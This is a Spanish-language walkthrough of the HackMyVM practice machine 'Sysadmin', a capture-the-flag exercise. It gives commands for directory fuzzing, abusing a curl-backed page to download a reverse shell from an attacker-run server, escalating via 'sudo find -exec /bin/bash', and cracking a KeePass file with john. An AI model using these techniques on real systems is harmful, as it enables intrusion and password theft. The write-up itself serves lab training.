Continuando con los WriteUp de las cajas de la plataforma HackMyVM, esta vez les traigo la máquina llamada Sysadmin, una máquina muy entretenida catalogada como de nivel medio y que resultó interesante por toda la parte de recolección de información y el reconocimiento de vectores de explotación para progresar en la misma, una máquina que está más orientada al mundo de los CTFs que a un «entorno real», pero que resulta ciertamente desafiante. A continuación les dejo la resolución de la máquina:

OSRELEASEDIFFICULTYAUTHOR
LINUX27/MAR/21MEDIUMd4t4s3c

Resumen:

  • Enumeración de puertos y servicios
  • Fuzzing de directorios y ficheros
  • Esteganografía
  • Análisis de funcionalidad de aplicación web
  • Intrusión inicial al objetivo
  • Obtención de usuario / Captura del fichero user.txt
  • Escalada de privilegios / Captura de fichero root.txt

Enumeración:

Partimos con un escaneo de puertos y servicios mediante Nmap:

nmap -sS -sV -p- 15.15.15.65

Dejando de lado el habitual puerto de mantenimiento SSH (22), me centraré en la aplicación web ofrecida por el puerto 80.

Aplicaciones web:

Mediante el navegador lo que observamos es lo siguiente:

Por tanto llega la hora de identificar la potencial aplicación web que se ofrece a través de este puerto o en su defecto directorio y/o ficheros del servidor. Para esto nos apoyamos de la herramienta Gobuster:

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://15.15.15.65/

En un primer momento identificamos el directorio «audio» que nos resultará interesante.
Luego profundizaremos en este directorio, esta vez buscando identificar potenciales ficheros relevantes, para ello ejecutamos Gobuster de la siguiente forma:

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://15.15.15.65/audio/ -x wav,mp3,ogg,m4a

Sin lugar a duda «secret.wav» se antoja un fichero realmente relevante. Lo descargamos y examinamos:

Esteganografía:

Al identificar que el contenido de este fichero de audio parece ocultar un mensaje oculto (esteganografía), emplearemos el portal de Morse Decoder para llegar al fondo del asunto:

Lo que obtendremos de este análisis es un «pseudo subdominio» (virtual hosting) que procederemos a añadir a nuestro fichero hosts para resolver su contenido.

echo "15.15.15.65 sysadmin.intranet.hmv" >> /etc/hosts

Una vez más volveremos a nuestro navegador para obtener respuesta y obtendremos el siguiente mensaje:

Análisis de funcionalidad:

Volveremos a quererir del apoyo de Gobuster, esta vez a fin de identificar ficheros potencialmente relevantes en este apartado web:

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://sysadmin.intranet.hmv/ -x php

Como resultado obtenemos el fichero «check.php» que procederemos a explorar:

Lo primero será reconocer el funcionamiento de la aplicación, por lo que usando la URL predefinida pulsaremos sobre el botón «Go» y obtendremos el siguiente resultado:

Además del contenido, reveladores son los datos estadísticos mostrados justo encima de la página por defecto de Apache. Esto parece ser la ejecución del comando cURL. Para confirmar esta sospecha vamos a revisar la ayuda del comando:

Intrusión inicial:

Una vez validada la sospecha es hora de aprovecharnos de este comando (curl) para cargar contenido en el objetivo. Lo primero haremos una prueba con la función phpinfo():

python -m SimpleHTTPServer

Inserción: http://15.15.15.5:8000/info.php -o info.php

Después de conseguir llevar nuestro fichero PHP al objetivo, es hora de ejecutarlo:

De ir todo como se espera, llega el momento de hacer la misma operación con una reverse shell:

Inserción: http://15.15.15.5:8000/rshell.php -o rshell.php

Obtención de usuario:

Realizamos el tratamiento habitual de la TTY:

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=screen-256color
[Ctrl+Z]
stty raw -echo; fg

Identificamos los usuarios del sistema:

Mediante el comando «sudo -l» logramos identificar la vía que nos permite la escalación de privilegios desde el usuario web (www-data) al usuario con privilegios mínimos (low-priv).

En este caso tendremos que hacer uso de la utilidad find y aprovechar que para ejecutarlo con el usuario tom no necesitamos su contraseña.

sudo -u tom find . -exec /bin/bash \; -quit

De esta manera podremos obtener la primera flag, la del usuario (low-priv).

Escalada de privilegios:

El mensaje que nos aparece en el home del usuario, dentro del fichero «notes.txt«, también será ligeramente revelador.

Después de invertir un buen tiempo enumerando y reconociendo potenciales vías de explotación, observamos la siguiente aplicación interna:

ss -ltpn
telnet localhost 65123

Al tratarse de un servicio FTP, probaremos la conexión anónima:

Como se ve en la captura anterior, también aprovechamos el acceso conseguido para explorar, obtener información y llegar a recursos relevantes de este servicio.

Este fichero con extensión kdbx lo llevaremos a nuestro equipo de ataque para su tratamiento:

Gracias a la utilidad de John (keepass2john), pasaremos el fichero a un formato hash que procederemos a «crackear»:

keepass2john root.kdbx > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Al crackearlo conseguimos obtener la credencial maestra de acceso al fichero root.kdbx.

Recordemos que la extensión kdbx es empleada por la aplicación KeePass, que no es más ni menos que un gestor de contraseñas. El tema pinta chulo:

Una vez dentro de la instancia de KeePass (base de datos), conseguiremos la contraseña del root de la máquina objetivo:

Nos autenticamos como root y obtenemos finalmente la flag del superusuario:

Como veis, un más que interesante reto para resolver y que desde luego te conducirá a la agudeza de pensamiento.

Referencias: